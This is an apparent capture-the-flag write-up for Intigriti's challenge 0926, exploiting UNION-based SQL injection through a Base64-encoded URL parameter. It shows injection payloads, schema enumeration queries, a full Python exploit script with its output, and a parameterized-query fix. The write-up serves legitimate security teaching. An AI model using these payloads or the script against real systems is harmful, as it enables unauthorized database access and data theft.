← Back to writeups

Intigriti Challenge 0926 — UNION-Based SQL Injection

Target: https://challenge-0926.challenges.intigriti.io/challenge.php
Flag: INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2}


The Challenge

Intigriti dropped a single URL for September: find the flag. No source code, no hints. Just a web page.

The target is an animal gallery called Critter Gallery -- eight tiles, each showing a different critter.

The Critter Gallery landing page -- eight animal tiles arranged in a grid

Clicking any tile takes you to a detail view with a short description of the animal:

Fox detail view -- name, description, and a back link

Nothing suspicious at first glance. No forms, no login, no interesting JavaScript. But the URL is worth a closer look.


Spotting the Attack Surface

When I clicked on an animal, the URL looked like this:

https://challenge-0926.challenges.intigriti.io/challenge.php?pic=Zm94

That Zm94 value is not a random ID. It is Base64. Decoding it gives fox:

Terminal showing base64 decode of the pic parameter value

The client sends a Base64-encoded animal name, the server decodes it, looks it up in a database, and renders the result. If the decoded input goes into a SQL query without proper handling, that is an injection point.

I fired up Burp Suite to get a closer look at the request/response cycle:

Burp Suite showing the HTTP request and response headers, including X-Powered-By: PHP/8.2.33

Useful info from the response headers:

  • X-Powered-By: PHP/8.2.33 -- PHP backend
  • Server: istio-envoy -- Envoy proxy in front
  • Full HTML page rendered server-side, no client-side fetching

I also noticed what happens when you send a name that does not match any animal. Sending notvalid (Base64-encoded) returns a detail panel with a fallback message:

Fallback behavior -- "No critter goes by that name yet" message displayed for invalid input

The application handles invalid input gracefully with a fallback. Keep that in mind -- the contrast with what happens next is what gives the injection away.


Confirming the Injection

The Single Quote Test

First thing I tried -- append a single quote to fox and see what breaks.

fox'  -->  Base64: Zm94Jw==
GET /challenge.php?pic=Zm94Jw==

0 bytes back. Completely blank page. No HTML, no fallback, nothing.

Compare that to notvalid, which returns ~4,070 bytes with a friendly "No critter goes by that name yet" message. A single quote produces something fundamentally different -- the query itself broke. If this were parameterized, the quote would be a literal character and the fallback page would render normally. Instead, it crashed.

Boolean Differential

A crash alone is not proof. I needed to show the database is actually evaluating injected conditions:

fox' AND '1'='1    (always TRUE)
fox' AND '1'='2    (always FALSE)

TRUE should return the fox detail. FALSE should drop the detail panel because the WHERE clause evaluates to false overall.

Payload Condition Response Size
fox' AND '1'='1 TRUE 4,086 bytes
fox' AND '1'='2 FALSE 4,072 bytes

Stable 14-byte delta, every single time. The database is running my condition. Injection confirmed.

I also verified that SQL comment syntax works:

fox' AND '1'='1'-- -    -->  4,086 bytes (same as without comment)
fox' AND '1'='1'#       -->  4,086 bytes (hash comment also accepted)

Both -- - and # comment styles work. This confirms the backend is MySQL (or MariaDB). PostgreSQL does not accept # as a comment character.

So: single-quote string context, no escaping, no parameterization, MySQL backend, and the decoded value goes straight into the query.


Building the UNION Chain

Boolean-blind works but it is slow. UNION is better here -- append a second SELECT and the results render directly on the page.

Column Count

UNION needs the same column count as the original query. I used a zzzzzz prefix that matches nothing in the database so only the UNION row shows up -- if you use fox, PHP grabs the legitimate row first and you never see your injected data.

import requests, base64

BASE = "https://challenge-0926.challenges.intigriti.io/challenge.php"

def b64(s):
    return base64.b64encode(s.encode()).decode()

for n in range(1, 7):
    cols = ",".join(f"'MARK{n}_{i}'" for i in range(1, n + 1))
    payload = f"zzzzzz' UNION SELECT {cols}-- -"
    r = requests.get(BASE, params={"pic": b64(payload)})
    hit = "MARK" in r.text
    print(f"cols={n}  status={r.status_code}  len={len(r.text)}  marker_found={hit}")
cols=1  status=200  len=4058  marker_found=True
cols=2  status=200  len=0     marker_found=False
cols=3  status=200  len=0     marker_found=False
cols=4  status=200  len=0     marker_found=False
cols=5  status=200  len=0     marker_found=False
cols=6  status=200  len=0     marker_found=False

One column. Everything else crashes.

Output Slot

Checking where the marker lands in the HTML:

<h2>zzzzzz&#039; UNION SELECT &#039;MARK1_1&#039;-- -</h2>
<div class="desc">MARK1_1<br></div>

The <h2> shows the raw payload (HTML-encoded). The <div class="desc"> shows the actual query result -- that is the extraction point. Whatever goes into the UNION column renders there in plaintext.

The underlying query is effectively:

SELECT description FROM animals WHERE name = '<user_input>'

Schema Enumeration

Tables

Queried information_schema to see what we are working with:

zzzzzz' UNION SELECT (SELECT GROUP_CONCAT(table_name ORDER BY table_name SEPARATOR ',')
FROM information_schema.tables WHERE table_schema=database())-- -

Result rendered in the .desc div:

animals,secret_vault

Two tables. animals powers the gallery. secret_vault is never referenced anywhere in the UI. Not exactly subtle naming.

Columns

secret_vault columns:

zzzzzz' UNION SELECT (SELECT GROUP_CONCAT(column_name ORDER BY ordinal_position SEPARATOR ',')
FROM information_schema.columns WHERE table_schema=database() AND table_name='secret_vault')-- -

Result: id,note

animals columns:

Same technique, different table name. Result: id,name,description

Full schema:

Table Columns
animals id, name, description
secret_vault id, note

One data column in secret_vault: note. That is where the flag lives.


Capturing the Flag

The final payload was straightforward:

zzzzzz' UNION SELECT (SELECT note FROM secret_vault LIMIT 1)-- -

Base64-encoded:

enp6enp6JyBVTklPTiBTRUxFQ1QgKFNFTEVDVCBub3RlIEZST00gc2VjcmV0X3ZhdWx0IExJTUlUIDEpLS0gLQ==

Here is the actual HTTP request as seen in Burp:

Burp Suite showing the malicious GET request with the UNION SELECT payload in the pic parameter

And here is what the browser rendered:

Browser showing the flag INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2} rendered in the description slot

The flag shows up right in the detail panel, exactly where an animal's description would normally appear. The <h2> title even displays the raw SQL payload, making it visually obvious what happened.

For comparison, here is what a normal legitimate request looks like:

Normal Burp request showing pic=Zm94 (fox) for comparison

Verification

I ran a few additional checks to make sure the extracted value was clean:

Hex dump -- to rule out invisible characters or encoding artifacts:

zzzzzz' UNION SELECT (SELECT HEX(note) FROM secret_vault LIMIT 1)-- -

Returned 494E544947524954497B3031...327D which decodes to the same flag string. No hidden characters.

Row count -- to check if there is more data:

zzzzzz' UNION SELECT (SELECT note FROM secret_vault LIMIT 1 OFFSET 1)-- -

Empty .desc div. Only one row in secret_vault.


The Flag

INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2}

Exploit Script

Here is the clean automation that does everything in three HTTP requests:

#!/usr/bin/env python3
"""
Intigriti CTF September 2026 -- SQL Injection PoC
UNION-based SQLi via Base64-encoded ?pic parameter
"""

import requests, base64, re

TARGET = "https://challenge-0926.challenges.intigriti.io/challenge.php"

def inject(sql):
    pic = base64.b64encode(f"zzzzzz' UNION SELECT ({sql})-- -".encode()).decode()
    r = requests.get(TARGET, params={"pic": pic})
    m = re.search(r'class="desc">\s*(.*?)\s*(?:<br>)?<', r.text, re.DOTALL)
    return m.group(1).strip() if m else None

print("Tables :", inject(
    "SELECT GROUP_CONCAT(table_name ORDER BY table_name SEPARATOR ',') "
    "FROM information_schema.tables WHERE table_schema=database()"
))
print("Columns:", inject(
    "SELECT GROUP_CONCAT(column_name ORDER BY ordinal_position SEPARATOR ',') "
    "FROM information_schema.columns "
    "WHERE table_schema=database() AND table_name='secret_vault'"
))
print("Flag   :", inject("SELECT note FROM secret_vault LIMIT 1"))
$ python3 exploit.py
Tables : animals,secret_vault
Columns: id,note
Flag   : INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2}

Root Cause

The server decodes the pic parameter and drops it raw into a SQL string:

$name   = base64_decode($_GET['pic']);
$result = $db->query("SELECT description FROM animals WHERE name = '$name'");

Base64 is encoding, not security. The fix:

$name = base64_decode($_GET['pic']);
$stmt = $db->prepare("SELECT description FROM animals WHERE name = ?");
$stmt->bind_param("s", $name);
$stmt->execute();
← Back to writeups